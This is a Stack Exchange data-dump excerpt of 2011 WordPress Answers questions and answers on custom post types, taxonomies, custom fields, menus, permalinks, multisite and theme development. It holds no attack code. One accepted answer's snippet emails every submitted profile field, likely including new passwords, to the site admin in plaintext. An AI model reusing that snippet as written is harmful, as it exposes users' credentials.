  <row Id="12180" PostTypeId="1" AcceptedAnswerId="12182" CreationDate="2011-03-16T03:13:15.773" Score="0" ViewCount="137" Body="&lt;p&gt;I am developing a Wordpress site that will have a database of car modifications and an embedded youtube video with the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: search for Honda Civic with a spoiler and exhaust. This would generate several posts. Each post has there own video, attributes, and an adsense ad. I am using the term posts loosely though, I really don't want to post them on the blog of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am struggling to see how (if) this can work with the custom post type and taxonomy features in 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I found this $200 theme on WooThemes, I'm not positive it will work and they wont talk to me about technical stuff unless i'm a &quot;member&quot;. I would Like to insert youtube videos instead of their dealer listing, but it seems like the theme is a great start.&#xA;&lt;br&gt;&lt;a href=&quot;http://www.woothemes.com/2010/12/listings/&quot; rel=&quot;nofollow&quot;&gt;WooThemes - &quot;Listings&quot;&lt;/a&gt; &#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help and insight, I am at my wits end try to see if this is do-able. &lt;/p&gt;&#xA;" OwnerUserId="3971" LastActivityDate="2011-03-16T03:34:19.780" Title="Having trouble understanding custom post type and taxonomy :/" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="12181" PostTypeId="1" CreationDate="2011-03-16T03:23:01.977" Score="1" ViewCount="118" Body="&lt;p&gt;How can I pull a custom field with meta_key &quot;proprty_feature&quot; (and has a value) for all posts and display them on my frontpage? Would like to display the post name as a link above the value..&lt;/p&gt;&#xA;" OwnerUserId="3870" LastActivityDate="2011-03-16T04:34:54.130" Title="Display custom field values from posts on frontpage" Tags="&lt;custom-field&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="12182" PostTypeId="2" ParentId="12180" CreationDate="2011-03-16T03:34:19.780" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Register a 'car' &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;post type&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Register 'spoiler' and 'exhaust' &lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;taxonomies&lt;/a&gt; to the 'car' post type.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Drill-Down&lt;/a&gt; plugin to create the &quot;search&quot; you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The YouTube video URL could be stored as a &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-16T03:34:19.780" CommentCount="2" />
  <row Id="12183" PostTypeId="1" CreationDate="2011-03-16T04:04:45.323" Score="7" ViewCount="264" Body="&lt;p&gt;is there a built-in wordpress function to make the HTML or should I use plain-old PHP?&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-06-11T11:21:40.370" LastActivityDate="2011-06-16T00:35:49.913" Title="how do i make an HTML table from a database table?" Tags="&lt;php&gt;&lt;database&gt;&lt;html&gt;&lt;wp-list-table&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" />
  <row Id="12184" PostTypeId="2" ParentId="12183" CreationDate="2011-03-16T04:15:37.403" Score="10" ViewCount="" Body="&lt;p&gt;Since 3.1 there's a class &lt;a href=&quot;http://phpdoc.ftwr.co.uk/wordpress/WordPress/List_Table/WP_Plugins_List_Table.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_List_Table&lt;/code&gt;&lt;/a&gt; which makes it a hella lot easier to render tables for an array of data objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's very little documentation (read: none) on it yet, but you can &lt;a href=&quot;http://phpdoc.ftwr.co.uk/wordpress/WordPress/List_Table/WP_Plugins_List_Table.html&quot; rel=&quot;nofollow&quot;&gt;check out the source&lt;/a&gt; if you're familiar with PHP.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T04:15:37.403" CommentCount="5" />
  <row Id="12185" PostTypeId="2" ParentId="12074" CreationDate="2011-03-16T04:28:47.823" Score="0" ViewCount="" Body="&lt;p&gt;I know it might not be the answer you're looking for, but I have to be honest;  I think you're gonna open a whole can of worms if you pursue that kind of permalink.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's not exactly semantic (admittedly objective)&lt;/li&gt;&#xA;&lt;li&gt;Many would consider it 'too nested'&lt;/li&gt;&#xA;&lt;li&gt;It's not clear (for users and for WordPress) if a parameter is;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a taxonomy term&lt;/li&gt;&#xA;&lt;li&gt;a child of a taxonomy term&lt;/li&gt;&#xA;&lt;li&gt;a secondary taxonomy&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Plus I'd also add, since this is an archive-type request (that lists multiple posts), URL query parameters might be the better alternative (semantically and logistically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I think something like scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Drill-Down&lt;/a&gt; would be awesome for this!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T04:28:47.823" CommentCount="3" />
  <row Id="12186" PostTypeId="2" ParentId="12181" CreationDate="2011-03-16T04:29:07.410" Score="1" ViewCount="" Body="&lt;p&gt;Within your main post loop you would add something like, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post-&amp;gt;ID, 'property_feature', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A basic example of what your main loop might look like ( it depends on your theme) to include a title and your custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//start the loop&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;//add post link and title&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;//add your custom meta value&#xA;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'property_feature', true) ?&amp;gt;&#xA;&#xA;//close loop&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-16T04:34:54.130" LastActivityDate="2011-03-16T04:34:54.130" CommentCount="2" />
  <row Id="12187" PostTypeId="2" ParentId="8230" CreationDate="2011-03-16T04:31:15.053" Score="0" ViewCount="" Body="&lt;p&gt;I was having the same problem and the memory limit setting didn't do anything even when set to 150M. I also tried the changes to nav-menu.php but the line numbers don't match, maybe because I am running WP 3.1 now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The warning I was getting was a maximum time limit error for script execution so I thought maybe it isn't a memory issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead I set in wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_time_limit( 60 );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seemed to fix the problem. It still takes ages for the menu to save though so I think there I think the code could be optimised so that you don't have to use the time limit setting.&lt;/p&gt;&#xA;" OwnerUserId="3975" LastActivityDate="2011-03-16T04:31:15.053" />
  <row Id="12188" PostTypeId="1" CreationDate="2011-03-16T05:50:28.073" Score="1" ViewCount="158" Body="&lt;p&gt;When ever I try to add menu items past about 40 I get an error &quot;The given object ID is not that of a menu item&quot; and many of my menu items will disappear from the menu at random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I am working on has approx 65 pages in total but I am unable to get them all in because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am referring to the new WordPress menu management interface&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-08-14T07:13:44.360" Title="Error &quot;The given object ID is not that of a menu item&quot; on menu with 40+ items" Tags="&lt;menus&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="12189" PostTypeId="1" CreationDate="2011-03-16T06:06:56.170" Score="1" ViewCount="202" Body="&lt;p&gt;I recently learned that if you have Wordpress.com Stats installed, you can take advantage of &lt;code&gt;stats_get_csv()&lt;/code&gt; (Part of the &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com Stats Plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( function_exists('stats_get_csv') &amp;amp;&amp;amp; $top_posts = stats_get_csv('postviews', 'days=-1&amp;amp;limit=4') ) : ?&amp;gt;&#xA;    &amp;lt;ol&amp;gt;&#xA;&amp;lt;?php foreach ( $top_posts as $p ) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $p['post_permalink']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $p['post_title']; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ol&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's how I have my code set up now. The problem is that it shows pages as well as posts. Also, I want to add the featured thumbnail next to each item as well as an array of custom post types. Is this possible? If so, can someone help me out?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-22T14:00:26.260" LastActivityDate="2011-03-30T02:26:11.830" Title="using stats_get_csv to return a list of popular posts by views with thumbnails" Tags="&lt;stats-get-csv&gt;&lt;plugin-stats&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="12190" PostTypeId="1" CreationDate="2011-03-16T06:25:04.680" Score="0" ViewCount="121" Body="&lt;p&gt;I log in and do all the administration over https in my wordpress blog (my own installation). When I publish something, I have the problem that the twitter plugins normally pick the current URL, with https:// instead of http:// (I'm currently using WP-&gt;Twitter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When accessed over https:// my page issues some warning and the disqus comments don't work. I really don't care because I should be the only one using https for my blog, but due to the twitter plug in, everybody sees it broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some other plug in that solves that? Or some other way to do it?&lt;/p&gt;&#xA;" OwnerUserId="7928" LastActivityDate="2011-08-14T04:23:39.813" Title="Is there a Twitter Wordpress plugin that changes https to http?" Tags="&lt;twitter&gt;&lt;https&gt;" AnswerCount="2" />
  <row Id="12191" PostTypeId="2" ParentId="12189" CreationDate="2011-03-16T09:36:57.813" Score="0" ViewCount="" Body="&lt;p&gt;As to the excluding pages, if you have only a few pages, you can do it &lt;a href=&quot;http://wordpress.org/support/topic/stats-plugin-excluding-homepage-from-stats_get_csv-results#post-1771562&quot; rel=&quot;nofollow&quot;&gt;as described here&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your foreach loop, before the &amp;lt;li&amp;gt; add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $postTitle = $single_post['post_title'];&#xA;    if($postTitle == 'Home page') {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-16T09:36:57.813" />
  <row Id="12192" PostTypeId="2" ParentId="12177" CreationDate="2011-03-16T09:50:45.233" Score="2" ViewCount="" Body="&lt;p&gt;I discover that it's a know bug, and will be fix in future release &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12061&quot; rel=&quot;nofollow&quot;&gt;Reference here&lt;/a&gt; So then, i used this code... not pretty, but do the magic !, thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = do_shortcode( shortcode_unautop( $content ) );&#xA;if ( '&amp;lt;/p&amp;gt;' == substr( $content, 0, 4 )&#xA;and '&amp;lt;p&amp;gt;' == substr( $content, strlen( $content ) - 3 ) )&#xA;    $content = substr( $content, 4, strlen( $content ) - 7 );&#xA;return '&amp;lt;div my stuff&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-16T09:50:45.233" />
  <row Id="12193" PostTypeId="1" AcceptedAnswerId="12199" CreationDate="2011-03-16T09:58:14.683" Score="1" ViewCount="241" Body="&lt;p&gt;Is there a way to send the updated/added values from profile, when a member/user updates his/hers data, to the admin of the site or another emailadress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be the first step?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* do something when user edits profile */&#xA;add_action('personal_options_update', 'notify_admin_on_update');&#xA;function notify_admin_on_update(){&#xA;  // send a mail with the updated values to admin@mysite.com&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is best pracice to send emails from within WordPress?&lt;/p&gt;&#xA;" OwnerUserId="3977" LastActivityDate="2011-03-16T15:07:23.407" Title="Send automatic mail to Admin when user/member changes/adds profile" Tags="&lt;admin&gt;&lt;email&gt;&lt;update&gt;&lt;automation&gt;&lt;profiling&gt;" AnswerCount="1" />
  <row Id="12194" PostTypeId="1" CreationDate="2011-03-16T10:20:25.350" Score="0" ViewCount="64" Body="&lt;p&gt;i've finished my wordpress (v3.1) web locally and wanted to put it online - the problem is that i'm getting an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've done anything right (i think):&#xA;- imported the database&#xA;- set the wordpress-url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas what could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastEditorUserId="3030" LastEditorDisplayName="" LastEditDate="2011-03-16T10:28:26.543" LastActivityDate="2011-03-16T10:28:26.543" Title="problem with putting wordpress-web online" Tags="&lt;3.1&gt;" CommentCount="2" />
  <row Id="12195" PostTypeId="1" CreationDate="2011-03-16T10:40:30.013" Score="0" ViewCount="155" Body="&lt;p&gt;I would like to query multiple posts by IDs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( 'post_type=options&amp;amp;p=1262+1285' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-16T10:40:30.013" Title="Query multiple posts by ID" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" CommentCount="2" />
  <row Id="12196" PostTypeId="1" CreationDate="2011-03-16T10:40:50.167" Score="1" ViewCount="72" Body="&lt;p&gt;Whereabouts can I edit which characters in permalinks are replaced? For example apostrophe's are replaced with nothing, and I would like to have them replaced with hyphens instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3670" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T15:04:26.357" LastActivityDate="2011-06-07T15:04:26.357" Title="Editing URL character replacement" Tags="&lt;permalinks&gt;&lt;slug&gt;&lt;encoding&gt;&lt;i18n&gt;" AnswerCount="1" />
  <row Id="12197" PostTypeId="2" ParentId="12196" CreationDate="2011-03-16T11:00:16.423" Score="1" ViewCount="" Body="&lt;p&gt;You need to filter &lt;code&gt;'sanitize_title'&lt;/code&gt; and use the second argument, the raw title. See my plugin &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;Germanix&lt;/a&gt; for an example.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-16T11:00:16.423" />
  <row Id="12198" PostTypeId="2" ParentId="12190" CreationDate="2011-03-16T11:21:03.020" Score="0" ViewCount="" Body="&lt;p&gt;I don't think that the publish-action in your twitter plugin is your problem. You probably have a twitter widget or something similar, which will display your twitter posts/status on your blog page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Twitter access his API with a javascript library. Look in your sourcecode. In the HTML HEAD Element, you should see a call to the twitter platform url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://platform.twitter.com/anywhere.js?id=&amp;amp;#038;v=1&amp;amp;#038;ver=1'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call from your site to the twitter api isn't encrypted. Your browser will show you a message, which will tell that your content is only partial encrypted. The SSL lock isn't displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to call the platform.twitter.com url over HTTPS. But the certificate is only valid for twiter.com.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-03-16T11:38:29.027" LastActivityDate="2011-03-16T11:38:29.027" />
  <row Id="12199" PostTypeId="2" ParentId="12193" CreationDate="2011-03-16T11:24:20.393" Score="5" ViewCount="" Body="&lt;p&gt;you got the first part right about using &lt;code&gt;personal_options_update&lt;/code&gt; but to be on the safe side add &lt;code&gt;edit_user_profile_update&lt;/code&gt; also.&#xA;and as for sending emails within WordPress the best way would be to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp_mail&lt;/strong&gt;&lt;/a&gt;, So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'personal_options_update', 'notify_admin_on_update' );&#xA;add_action( 'edit_user_profile_update','notify_admin_on_update');&#xA;function notify_admin_on_update(){&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if (!current_user_can( 'administrator' )){// avoid sending emails when admin is updating user profiles&#xA;        $to = 'admin@email.com';&#xA;        $subject = 'user updated profile';&#xA;        $message = &quot;the user : &quot; .$current_user-&amp;gt;display_name . &quot; has updated his profile with:\n&quot;;&#xA;        foreach($_POST as $key =&amp;gt; $value){&#xA;            $message .= $key . &quot;: &quot;. $value .&quot;\n&quot;;&#xA;        }&#xA;        wp_mail( $to, $subject, $message);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-16T15:07:23.407" LastActivityDate="2011-03-16T15:07:23.407" CommentCount="9" />
  <row Id="12200" PostTypeId="2" ParentId="12161" CreationDate="2011-03-16T11:36:18.200" Score="0" ViewCount="" Body="&lt;p&gt;Just to clarify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mixed two things here. qTranslate stores the different languages in the same post. If you call get_content(), $post-&gt;content or an other direct query, you will get the hole content with all different languages from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What qTranslates do, it creates a filter-hook which is attachted to &quot;the_content&quot; hook. If somebody call &quot;the_content()&quot; in a page template, all other languages will be filtered out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you're right. To filter the other languages, you have to apply the filter-hook &quot;the_content&quot; to your output.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-16T11:36:18.200" />
  <row Id="12201" PostTypeId="1" AcceptedAnswerId="12440" CreationDate="2011-03-16T12:09:06.410" Score="3" ViewCount="547" Body="&lt;p&gt;Setting up a WP multisite instance - the client has an existing ontology / set of categories that they want to classify all content across the set of blogs. Also the desire is that any new categories would be added at the 'network blog' level and synced to the other blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-06T10:44:19.173" Title="WordPress Multisite - global categories" Tags="&lt;categories&gt;&lt;multisite&gt;&lt;global&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="3" />
  <row Id="12202" PostTypeId="6" CreationDate="2011-03-16T12:11:13.643" Score="0" ViewCount="" Body="&lt;p&gt;I will start by saying that I'm not here from the start like many great guys (Rarst, Mike, EAMann) but my affair with this site as started about two months ago and ever since it's basically my Home page and I'm always here so why not as a moderator? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On WordPress Answers&lt;/strong&gt; -&#xA;My statistics here are of the chart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the time of writing&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member for: 63 days (63 consecutive).&lt;/li&gt;&#xA;&lt;li&gt;reputation:  5,756.&lt;/li&gt;&#xA;&lt;li&gt;Answered : 353 Answers.&lt;/li&gt;&#xA;&lt;li&gt;that's about 5-6 answers a day.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I love helping and guiding new users who ask the simplest question and love it even more when advanced users ask question that make me thinker for a while. I strongly believe  that answers should be explanatory and generic instead of specific use cases, So when another person is facing the same issue he can get his answer even if the use case is a bit different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On WordPress&lt;/strong&gt; - I have been developing Websites and web applications on WordPress for over 4 years of with only one choice in mind  (you guessed it: WordPress) when it comes to Platform or CMS. &lt;a href=&quot;http://profiles.wordpress.org/users/bainternet/&quot; rel=&quot;nofollow&quot;&gt;I publish open source , GPL plugins&lt;/a&gt; and i keep a &lt;a href=&quot;http://en.bainternet.info&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; where i post articles and tutorials for working with WordPress (there is also an &lt;a href=&quot;http://www.bainternet.info&quot; rel=&quot;nofollow&quot;&gt;Hebrew version&lt;/a&gt;). Other then that i help Translate WordPress core and plugins to Hebrew. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On Moderation&lt;/strong&gt;  - I'd love to be a moderator so I'll be able to contribute even more to this community, Because i really see WordPress Answers becoming the best resource site for WordPress developers online (if not already). Don't get me wrong, I think that the &lt;strong&gt;current moderation team is doing a great job&lt;/strong&gt; and joining them would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll sign off by saying good luck to everyone. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-16T12:11:13.643" LastActivityDate="2011-03-16T12:11:13.643" CommunityOwnedDate="2011-03-16T12:11:13.643" CommentCount="6" />
  <row Id="12203" PostTypeId="2" ParentId="1887" CreationDate="2011-03-16T12:17:21.397" Score="0" ViewCount="" Body="&lt;p&gt;Have anyone got this to work? Any plugins available? Sorry if it's against the rules to ask it in here, but I would really need the functionality, but don't expect anyone to just code it for free, so if there's a plugin, premium or free, I would love to know about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3232" LastActivityDate="2011-03-16T12:17:21.397" />
  <row Id="12204" PostTypeId="1" AcceptedAnswerId="12437" CreationDate="2011-03-16T12:20:34.310" Score="1" ViewCount="135" Body="&lt;p&gt;When a new blog is created in a WP Multisite instance I want to be able to set the default theme and configuration options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;create 2 menus (main and secondary) and associate them with the 2 slots provided by the theme&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set various theme options as defined on the theme option page&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way to go about achieving this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;which hook should i use - I'm going to use this: ('WP_DEFAULT_THEME', 'theme-folder-name' in wp-config.php to set the default theme - unless this prevents a needed hook from firing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;easiest way to programatically create menus and associate them with existing theme menu 'slots'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-18T22:15:43.870" Title="Multisite: setting theme and options when a new blog is created" Tags="&lt;themes&gt;&lt;settings&gt;&lt;activation&gt;&lt;default&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12206" PostTypeId="1" AcceptedAnswerId="12280" CreationDate="2011-03-16T12:31:38.437" Score="0" ViewCount="193" Body="&lt;p&gt;After using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Set custom featured image metabox&#xA;  function customposttype_image_box() {&#xA;&#xA;remove_meta_box('postimagediv', 'eezzyweb-webfolio', 'side');&#xA;add_meta_box('website_grid_view', __('Featured Image for grid view'), 'post_thumbnail_meta_box', 'eezzyweb-webfolio', 'side', 'low');&#xA;&#xA;&#xA;  }&#xA;  add_action('do_meta_boxes', 'customposttype_image_box');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and afterwards removing it, the Featured Image metabox is at the bottom, not on the right side anymore...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to reset/unregister???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-03-17T11:17:38.270" Title="Featured Image meta box shows at the bottom?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="12207" PostTypeId="1" CreationDate="2011-03-16T12:34:08.200" Score="0" ViewCount="57" Body="&lt;p&gt;I have used the export function to download all my posts from one installation of wordpress, and then imported the file into a second. However the imported posts have been stripped of all paragraph breaks. I looked in the XML export file, and the p tags all seem to be in there. Is there a problem with the import function? And how can I get all the paragraph breaks back again? Any suggestions much appreciated!&#xA;Thanks!&#xA;Rob&lt;/p&gt;&#xA;" OwnerUserId="3985" LastActivityDate="2011-03-16T15:31:21.927" Title="Import function loses &lt;p&gt; tags" Tags="&lt;import&gt;" AnswerCount="1" />
  <row Id="12208" PostTypeId="1" AcceptedAnswerId="12214" CreationDate="2011-03-16T12:35:23.517" Score="0" ViewCount="245" Body="&lt;p&gt;I want to convert a HTML/CSS layout i made into a WordPress Theme, But i don't know any PHP, I have a basic idea of the structure of a WordPress Theme, So i was wondering if i could just slice my HTML template into a header.php, footer.php, sidebar.php and index.php and just copy paste all the php code bits from the default twentyten theme? I've been going through the twentyten theme files and i have come across some bits of code where it says 'twentyten', for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add a page number if necessary:&#xA;if ( $paged &amp;gt;= 2 || $page &amp;gt;= 2 )&#xA;    echo ' | ' . sprintf( __( 'Page %s', 'twentyten' ), max( $paged, $page ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;skip-link screen-reader-text&quot;&amp;gt;&amp;lt;a href=&quot;#content&quot; title=&quot;&amp;lt;?php esc_attr_e( 'Skip to content', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'Skip to content', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can i just replace the text that says 'twentyten' with my theme's name? Or should i just leave it that way?&lt;/p&gt;&#xA;" OwnerUserId="3981" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:04:05.810" LastActivityDate="2011-03-25T21:04:05.810" Title="Making a Wordpress theme based on twentyten" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="12209" PostTypeId="2" ParentId="11891" CreationDate="2011-03-16T12:37:49.087" Score="1" ViewCount="" Body="&lt;p&gt;From your description, it seems like you would need 2 custom post types, one for the list of winners page and one for the individual winners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the list of winners page type you can select which taxonomies you want to show (2009, Category).   Then you can create a template that takes those taxonomy values and uses them to create a custom loop to display those Winners with the specific taxonomy values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the winners custom post type you have the taxonomies you've already listed and you create a template that will be used for all the winners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the landing page, depending on how you want it done you could just create page template or do something more complicated like have links automatically generate for you to each Year page that you created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way each year you create a listing page and select the categories you want it to show through the admin so it will be easy for non technical people to create lists of winners by year and cateogry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-03-16T12:37:49.087" />
